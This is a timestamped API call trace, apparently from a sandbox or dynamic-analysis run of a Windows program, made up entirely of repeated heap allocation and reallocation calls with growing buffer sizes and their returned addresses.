	[0059.491] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d72c08
	[0059.491] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d686d0, Size=0x8) returned 0x2d74310
	[0059.492] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d72ca8
	[0059.492] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4) returned 0x2d742d0
	[0059.492] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d72cc8
	[0059.492] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d742d0, Size=0x8) returned 0x2d74210
	[0059.492] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d72ce8
	[0059.492] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d74210, Size=0xc) returned 0x2d64180
	[0059.492] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d74768
	[0059.492] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d64180, Size=0x10) returned 0x2d64198
	[0059.492] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d74988
	[0059.492] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d64198, Size=0x14) returned 0x2d748e8
	[0059.492] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d74968
	[0059.492] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d748e8, Size=0x18) returned 0x2d74b28
	[0059.492] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d74a28
	[0059.492] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d74b28, Size=0x1c) returned 0x2d6e1b0
	[0059.492] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d74a08
	[0059.492] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d6e1b0, Size=0x20) returned 0x2d6e1d8
	[0059.492] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d74908
	[0059.492] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d6e1d8, Size=0x24) returned 0x2d64c20
	[0059.492] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d74788
	[0059.492] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d64c20, Size=0x28) returned 0x2d64d40
	[0059.492] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d748c8
	[0059.492] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d64d40, Size=0x2c) returned 0x2d5bc80
	[0059.492] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d74a48
	[0059.492] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d5bc80, Size=0x30) returned 0x2d5bcb8
	[0059.492] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d747e8
	[0059.492] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d5bcb8, Size=0x34) returned 0x2d71080
	[0059.492] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d749e8
	[0059.492] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d71080, Size=0x38) returned 0x2d70e80
	[0059.492] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d74ac8
	[0059.492] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d70e80, Size=0x3c) returned 0x2d5f8a0
	[0059.492] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d74928
	[0059.492] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d5f8a0, Size=0x40) returned 0x2d731e0
	[0059.492] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d74ae8
	[0059.492] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d74310, Size=0xc) returned 0x2d64180
	[0059.493] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d749a8
	[0059.493] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4) returned 0x2d686d0
	[0059.493] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d74a88
	[0059.493] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d686d0, Size=0x8) returned 0x2d74220
	[0059.493] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d74948
	[0059.493] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d74220, Size=0xc) returned 0x2d64048
	[0059.493] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d747c8
	[0059.493] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d64048, Size=0x10) returned 0x2d64210
	[0059.493] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d74b08
	[0059.493] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d64210, Size=0x14) returned 0x2d74828
	[0059.493] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d74888
	[0059.493] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d74828, Size=0x18) returned 0x2d74808
	[0059.493] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d74a68
	[0059.493] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d74808, Size=0x1c) returned 0x2d6dfd0
	[0059.493] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d74aa8
	[0059.493] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d6dfd0, Size=0x20) returned 0x2d6e098
	[0059.493] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d74b28
	[0059.493] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d6e098, Size=0x24) returned 0x2d64e00
	[0059.493] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d748e8
	[0059.493] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d64e00, Size=0x28) returned 0x2d64b60
	[0059.493] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d74b48
	[0059.493] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d64b60, Size=0x2c) returned 0x2d5bc80
	[0059.493] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d747a8
	[0059.493] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d5bc80, Size=0x30) returned 0x2d5bdd0
	[0059.493] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d74808
	[0059.493] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d5bdd0, Size=0x34) returned 0x2d70f00
	[0059.493] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d749c8
	[0059.493] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d70f00, Size=0x38) returned 0x2d70fc0
	[0059.493] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d748a8
	[0059.493] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d70fc0, Size=0x3c) returned 0x2d72f58
	[0059.493] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d74828
	[0059.493] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d72f58, Size=0x40) returned 0x2d736f0
	[0059.493] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d74848
	[0059.493] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d736f0, Size=0x44) returned 0x2d64628
	[0059.493] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d74868
	[0059.493] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d64628, Size=0x48) returned 0x2d646c8
	[0059.493] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d74be8
	[0059.493] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d646c8, Size=0x4c) returned 0x2d5c268
	[0059.493] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d74c88
	[0059.494] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d5c268, Size=0x50) returned 0x2d5c268
	[0059.494] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d74ea8
	[0059.494] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d5c268, Size=0x54) returned 0x2d5c268
	[0059.494] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d74de8
	[0059.494] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d5c268, Size=0x58) returned 0x2d5c268
	[0059.494] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d74c68
	[0059.494] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d5c268, Size=0x5c) returned 0x2d5c268
	[0059.494] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d74c08
	[0059.494] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d5c268, Size=0x60) returned 0x2d5c268
	[0059.494] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d74e28
	[0059.494] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d5c268, Size=0x64) returned 0x2d5c268
	[0059.494] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d74b68
	[0059.494] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d5c268, Size=0x68) returned 0x2d5c268
	[0059.494] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d74ce8
	[0059.494] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d5c268, Size=0x6c) returned 0x2d5c268
	[0059.494] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d74bc8
	[0059.494] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d5c268, Size=0x70) returned 0x2d5c268
	[0059.494] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d74d68
	[0059.494] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d5c268, Size=0x74) returned 0x2d57bc0
	[0059.494] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d74b88
	[0059.494] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d57bc0, Size=0x78) returned 0x2d57bc0
	[0059.494] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d74c28
	[0059.494] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d57bc0, Size=0x7c) returned 0x2d5a0c0
	[0059.494] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d74cc8
	[0059.494] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d5a0c0, Size=0x80) returned 0x2d5a0c0
	[0059.494] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d74ec8
	[0059.494] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d5a0c0, Size=0x84) returned 0x2d62fc8
	[0059.494] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d74ba8
	[0059.494] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d62fc8, Size=0x88) returned 0x2d62fc8
	[0059.494] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d74d08
	[0059.494] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d62fc8, Size=0x8c) returned 0x2d635c8
	[0059.494] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d74dc8
	[0059.494] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d635c8, Size=0x90) returned 0x2d635c8
	[0059.494] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d74c48
	[0059.494] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d635c8, Size=0x94) returned 0x2d74f40
	[0059.494] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d74d28
	[0059.494] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d74f40, Size=0x98) returned 0x2d74f40
	[0059.494] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d74ca8
	[0059.494] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d74f40, Size=0x9c) returned 0x2d74f40
	[0059.494] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d74d88
	[0059.495] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d74f40, Size=0xa0) returned 0x2d74f40
	[0059.495] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d74e88
	[0059.495] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d74f40, Size=0xa4) returned 0x2d53c10
	[0059.495] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d74d48
	[0059.495] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d53c10, Size=0xa8) returned 0x2d53c10
	[0059.495] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d74e08
	[0059.495] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d53c10, Size=0xac) returned 0x2d53a00
	[0059.495] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d74e68
	[0059.495] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d53a00, Size=0xb0) returned 0x2d53a00
	[0059.495] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d74f08
	[0059.495] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d53a00, Size=0xb4) returned 0x2d53a00
	[0059.495] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d74da8
	[0059.495] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d53a00, Size=0xb8) returned 0x2d53a00
	[0059.495] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d74e48
	[0059.495] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d53a00, Size=0xbc) returned 0x2d53a00
	[0059.495] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d74ee8
	[0059.495] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d53a00, Size=0xc0) returned 0x2d53a00
	[0059.495] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d74258
	[0059.495] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d53a00, Size=0xc4) returned 0x2d53a00
	[0059.495] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d74278
	[0059.495] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d53a00, Size=0xc8) returned 0x2d53a00
	[0059.495] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d740b8
	[0059.495] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d53a00, Size=0xcc) returned 0x2d53a00
	[0059.495] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d73ff8
	[0059.495] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d53a00, Size=0xd0) returned 0x2d53a00
	[0059.495] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d74298
	[0059.495] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d5bd60, Size=0x30) returned 0x2d5bc80
	[0059.495] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d74218
	[0059.495] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4) returned 0x2d686d0
	[0059.495] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d74138
	[0059.495] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d686d0, Size=0x8) returned 0x2d75280
	[0059.496] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d74158
	[0059.496] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4) returned 0x2d751f0
	[0059.496] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d73f98
	[0059.496] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d751f0, Size=0x8) returned 0x2d75330
	[0059.496] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d74038
	[0059.496] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d75330, Size=0xc) returned 0x2d64210
	[0059.496] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d74238
	[0059.496] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d64210, Size=0x10) returned 0x2d640a8
	[0059.496] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d74078
	[0059.496] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d640a8, Size=0x14) returned 0x2d73fb8
	[0059.496] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d74178
	[0059.496] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d73fb8, Size=0x18) returned 0x2d73f58
	[0059.496] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d74058
	[0059.496] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d73f58, Size=0x1c) returned 0x2d6dfd0
	[0059.496] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d74098
	[0059.496] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d6dfd0, Size=0x20) returned 0x2d6e1b0
	[0059.496] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d742b8
	[0059.496] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d6e1b0, Size=0x24) returned 0x2d64c20
	[0059.496] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d742d8
	[0059.496] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d64c20, Size=0x28) returned 0x2d64d40
	[0059.496] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d73fb8
	[0059.496] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d64d40, Size=0x2c) returned 0x2d5bcb8
	[0059.496] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d74118
	[0059.496] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d5bcb8, Size=0x30) returned 0x2d5bd28
	[0059.496] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d740d8
	[0059.496] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d5bd28, Size=0x34) returned 0x2d715c0
	[0059.496] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d741b8
	[0059.496] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d715c0, Size=0x38) returned 0x2d71040
	[0059.496] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d740f8
	[0059.496] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d71040, Size=0x3c) returned 0x2d736a8
	[0059.496] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d74198
	[0059.496] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d736a8, Size=0x40) returned 0x2d730c0
	[0059.496] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d741d8
	[0059.496] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d730c0, Size=0x44) returned 0x2d648a8
	[0059.496] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d741f8
	[0059.496] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d648a8, Size=0x48) returned 0x2d645d8
	[0059.496] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d74318
	[0059.496] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d645d8, Size=0x4c) returned 0x2d5c268
	[0059.497] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d74018
	[0059.497] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d5c268, Size=0x50) returned 0x2d5c268
	[0059.497] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d742f8
	[0059.497] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d5c268, Size=0x54) returned 0x2d5c268
	[0059.497] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d73f58
	[0059.497] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d5c268, Size=0x58) returned 0x2d5c268
	[0059.497] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d73f78
	[0059.497] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d5c268, Size=0x5c) returned 0x2d5c268
	[0059.497] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d73fd8
	[0059.497] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d5c268, Size=0x60) returned 0x2d5c268
	[0059.497] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d75398
	[0059.497] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d5c268, Size=0x64) returned 0x2d5c268
	[0059.497] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d75618
	[0059.497] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d5c268, Size=0x68) returned 0x2d5c268
	[0059.497] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d754f8
	[0059.497] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d5c268, Size=0x6c) returned 0x2d5c268
	[0059.497] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d75438
	[0059.497] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d5c268, Size=0x70) returned 0x2d5c268
	[0059.497] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d755f8
	[0059.497] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d5c268, Size=0x74) returned 0x2d57bc0
	[0059.497] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d75698
	[0059.497] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d57bc0, Size=0x78) returned 0x2d57bc0
	[0059.497] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d75478
	[0059.497] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d57bc0, Size=0x7c) returned 0x2d5a0c0
	[0059.497] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d75638
	[0059.497] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d5a0c0, Size=0x80) returned 0x2d5a0c0
	[0059.497] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d75658
	[0059.497] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d5a0c0, Size=0x84) returned 0x2d62fc8
	[0059.497] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d754b8
	[0059.497] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d62fc8, Size=0x88) returned 0x2d62fc8
	[0059.497] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d754d8
	[0059.497] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d62fc8, Size=0x8c) returned 0x2d635c8
	[0059.497] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d75518
	[0059.497] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d635c8, Size=0x90) returned 0x2d635c8
	[0059.497] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d75458
	[0059.497] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d635c8, Size=0x94) returned 0x2d5faf8
	[0059.497] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d75678
	[0059.498] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d5faf8, Size=0x98) returned 0x2d5faf8
	[0059.498] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d756b8
	[0059.498] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d5faf8, Size=0x9c) returned 0x2d5faf8
	[0059.498] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d75718
	[0059.498] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d5faf8, Size=0xa0) returned 0x2d5faf8
	[0059.498] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d756d8
	[0059.498] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d5faf8, Size=0xa4) returned 0x2d53c10
	[0059.498] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d756f8
	[0059.498] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d53c10, Size=0xa8) returned 0x2d53c10
	[0059.498] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d75538
	[0059.498] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d53c10, Size=0xac) returned 0x2d638f8
	[0059.498] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d75758
	[0059.498] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d638f8, Size=0xb0) returned 0x2d638f8
	[0059.498] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x18) returned 0x2d75738
